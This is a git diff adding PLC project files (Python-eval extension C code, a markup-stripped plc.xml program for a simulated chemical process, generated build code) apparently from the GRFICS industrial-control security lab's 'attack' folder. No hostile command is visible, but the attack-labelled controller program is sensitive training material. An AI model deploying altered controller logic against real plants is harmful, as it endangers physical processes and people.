PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - 